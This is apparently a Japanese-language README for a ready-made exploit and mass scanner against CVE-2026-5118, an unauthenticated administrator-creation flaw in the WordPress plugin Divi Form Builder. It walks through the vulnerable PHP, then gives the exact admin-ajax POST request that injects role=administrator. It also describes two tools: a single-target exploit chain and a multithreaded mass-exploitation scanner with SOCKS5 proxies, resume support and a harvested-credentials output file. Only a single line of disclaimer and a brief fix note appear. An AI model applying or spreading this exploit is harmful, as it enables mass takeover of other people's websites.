
CVE-2026-5118向けの自動エクスプロイトおよびマススキャナー。WordPress Divi Form Builder <=5.1.2における未認証の権限昇格を悪用し、ロールインジェクションによる管理者アカウント作成を可能にします。
ロールインジェクションによる認証なしの権限昇格
=== Beelze ( zeroday 1diot9 ) ===
| フィールド | 詳細 |
|---|---|
| CVE ID | CVE-2026-5118 |
| CVSS スコア | 9.8 (Critical) |
| CVSS ベクター | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-269 — Improper Privilege Management |
| プラグイン | Divi Form Builder (by Divi Engine) |
| 影響を受けるバージョン | 全バージョン ≤ 5.1.2 |
| パッチ適用 | 5.1.3 (2026年4月13日) |
| 公開日 | 2026年5月20日 |
| 研究者 | 0xd4rk5id3 — EnvoraSec |
| PoC | Beelze ( zeroday 1diot9 ) |
WordPress 用プラグイン Divi Form Builder は、バージョン 5.1.2 までの全バージョンにおいて、認証なしの権限昇格 の脆弱性があります。
FormSubmissionHandler.php 内の create_user() 関数は、ユーザー登録時に POST データからユーザー制御の role パラメータを受け取り、フォームの設定された default_user_role に対して検証せずに 処理します。唯一の「保護」は sanitize_text_field() です。これは HTML タグやエンコーディングを除去しますが、安全なロールに制限するための何の処理も行いません。続く存在確認は、ロールが WordPress に存在するか(そして administrator は常に存在します)を確認するだけです。
この三重の失敗により、認証されていない攻撃者は以下のことが可能です。
de_fb_obj JavaScript オブジェクトから グローバル共有 nonce (fb_nonce) を抽出form_type を register に上書き — 任意のフォームを登録エンドポイントに変換role=administrator を注入結果: 完全なサイト乗っ取り — 認証不要、ユーザー操作不要、POST リクエスト 1 回。
// includes/shared/handlers/FormSubmissionHandler.php — create_user() ~line 2250
$role = isset($form_data['role'])
? sanitize_text_field($form_data['role']) // ← タグ/エンコーディングを除去するだけ!
: 'subscriber'; // ← 'administrator' はそのまま通過
sanitize_text_field() は自由テキストのサニタイズ(XSS 対策)用に設計されています。安全なロールの許可リストに対して検証しません。文字列 "administrator" には HTML タグや特殊エンコーディングが含まれていないため、完全に無傷で通過します。
// ~line 2278
$roles_obj = wp_roles();
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) &&
!isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // ← ロールが存在しない場合のみフォールバック
}
このチェックは「このロールは WordPress に存在するか?」を尋ねています — そして administrator は常に存在します。正しい質問「このロールは公開自己登録にとって安全か?」は決して問われません。適切なチェックは、['subscriber', 'contributor'] のような許可リストに対して検証するか、フォームの default_user_role 設定を強制する必要があります。
// ~line 2301
$user = new WP_User($user_id);
$user->set_role($role); // ← 攻撃者が制御するロールが直接適用される!
current_user_can('create_users') チェックなし。current_user_can('promote_users') チェックなし。いかなる種類の権限確認もありません。攻撃者が指定したロールがそのまま set_role() に渡されます。
// Frontend JS localization
wp_localize_script('de-fb-scripts', 'de_fb_obj', [
'ajax_url' => admin_url('admin-ajax.php'),
'nonce' => wp_create_nonce('security'), // ← すべてのフォーム、すべてのページで同一 nonce
// ...
]);
fb_nonce は wp_create_nonce('security') によって生成されます — これはサイト上のすべての DFB フォームで共有される汎用アクション文字列です。訪問者は de_fb_obj JavaScript オブジェクトをページソースから読み取ることで抽出できます。
// AJAX handler
$form_type = isset($_POST['form_type']) ? $_POST['form_type'] : '';
if ($form_type === 'register') {
$this->create_user($form_data); // ← POST 上書きでトリガー!
}
form_type は POST データから読み取られ、サーバー側のフォーム設定からではありません。攻撃者は任意の DFB AJAX 送信(お問い合わせフォーム、見積もりリクエスト、ニュースレター登録)に form_type=register を送信でき、サーバーは登録コードパスを実行します。フォームの本来の目的は無関係です。
[認証なしの攻撃者]
│
▼
GET /any-page-with-dfb-form/
← HTML ソース: de_fb_obj = {"nonce":"abc123def0", ...}
│
▼
de_fb_obj JavaScript オブジェクトから fb_nonce を抽出
│
▼
POST /wp-admin/admin-ajax.php
┌──────────────────────────────────────────────┐
│ action = de_fb_ajax_submit_ajax_handler │
│ fb_nonce = abc123def0 │
│ role = administrator ← インジェクション │
│ form_type = register ← 上書き │
│ user_login = attacker_admin │
│ user_pass = AttackerPass123! │
│ user_email = [email protected] │
└──────────────────────────────────────────────┘
│
▼
sanitize_text_field('administrator') → 'administrator' ✓ 通過
wp_roles()->roles['administrator'] は存在する? → YES ✓ 通過
$user->set_role('administrator') ✓ 権限チェックなし
│
▼
← {"success": true, "data": {"message": "User created"}}
│
▼
POST /wp-login.php
log=attacker_admin & pwd=AttackerPass123!
← 302 → /wp-admin/
│
▼
[完全な管理者アクセス] 🔥
CVE-2026-5118.py — 単一ターゲットエクスプロイト自動フォーム発見と nonce 抽出を含む完全な 5 フェーズのエクスプロイトチェーン。
python3 CVE-2026-5118.py
ターゲット URL: https://target.com
ユーザー名 [beelze_admin]:
パスワード [Beelze123!!@#!]:
メール [[email protected]]:
タイムアウト (秒) [15]:
SOCKS5 プロキシ (空白 = なし):
エクスプロイトのフェーズ:
フェーズ 1 ▶ 到達可能性 (HTTPS + HTTP フォールバック)
フェーズ 2 ▶ プラグイン検出 (readme.txt バージョンチェック)
フェーズ 3 ▶ フォーム発見と Nonce 抽出
├── REST API ページスキャン
├── 一般的なパスのプロービング
├── Sitemap クロール
└── ホームページリンククロール
フェーズ 4 ▶ ロールインジェクション (権限昇格)
フェーズ 5 ▶ 管理者ログイン確認
出力 (scan_results/CVE-2026-5118_success.txt):
https://target.com | beelze_admin:Beelze123!!@#!
CVE-2026-5118-mass.py — マススキャナーJSONL ログと再開サポートを備えたマルチスレッド大量エクスプロイト。
python3 CVE-2026-5118-mass.py
ターゲットファイル (1行に1URL): targets.txt
ユーザー名 [beelze_admin]:
パスワード [Beelze123!!@#!]:
メール [[email protected]]:
スレッド数 [10]:
タイムアウト (秒) [10]:
プロキシファイル (SOCKS5, 1行に1つ, 空白 = なし):
前回のスキャンを再開しますか? (y/n) [n]:
機能:
出力 (scan_results/CVE-2026-5118_success.txt):
https://target1.com | beelze_admin:Beelze123!!@#!
https://target2.com | beelze_admin:Beelze123!!@#!
default_user_role 設定でサーバー側で設定されたものであることを強制し、POST データからのユーザー指定の role パラメータを無視しますBeelze ( zeroday 1diot9 ) — 教育および許可されたセキュリティ研究のみを目的としています